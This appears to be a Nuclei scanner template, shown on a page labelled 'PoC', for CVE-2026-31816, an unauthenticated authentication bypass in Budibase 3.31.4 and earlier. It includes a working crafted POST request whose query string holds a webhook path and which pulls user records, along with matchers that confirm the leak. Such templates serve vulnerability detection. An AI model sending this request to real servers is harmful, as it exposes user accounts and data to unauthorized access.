Budibase <= 3.31.4 contains an authentication bypass caused by unanchored regex in authorized() middleware matching webhook path patterns in query strings, letting unauthenticated remote attackers access any server-side API endpoint, exploit requires crafted request with webhook pattern in URL.
PoC
id: CVE-2026-31816
info:
name: Budibase - Authentication Bypass
author: theamanrawat
severity: critical
description: |
Budibase <= 3.31.4 contains an authentication bypass caused by unanchored regex in authorized() middleware matching webhook path patterns in query strings, letting unauthenticated remote attackers access any server-side API endpoint, exploit requires crafted request with webhook pattern in URL.
impact: |
Unauthenticated remote attackers can bypass all authentication and authorization to access any server-side API endpoint.
remediation: |
Update to a version later than 3.31.4 or latest available version.
reference:
- https://github.com/Budibase/budibase/security/advisories/GHSA-gw94-hprh-4wj8
- https://nvd.nist.gov/vuln/detail/CVE-2026-31816
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
cvss-score: 9.1
cve-id: CVE-2026-31816
epss-score: 0.02193
epss-percentile: 0.81898
cwe-id: CWE-74
metadata:
max-request: 1
verified: true
tags: cve,cve2026,budibase,auth-bypass,vuln,unauthenticated,vkev
http:
- raw:
- |
POST /api/ta_users/search?/webhooks/trigger HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
x-budibase-app-id: {{app_id}}
{"query":{},"limit":1000}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "application/json")'
- 'contains_all(body, "email", "roleId", "status")'
condition: and
# digest: 4b0a00483046022100821d0641901845641560b2a3acb45215b19699dfbe5cb4f0c0a4e1ec5480fe15022100f5968f2ded081759aca5d27aa2763ad0e39f1e58e62d7086791fffcd8706eb7c:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.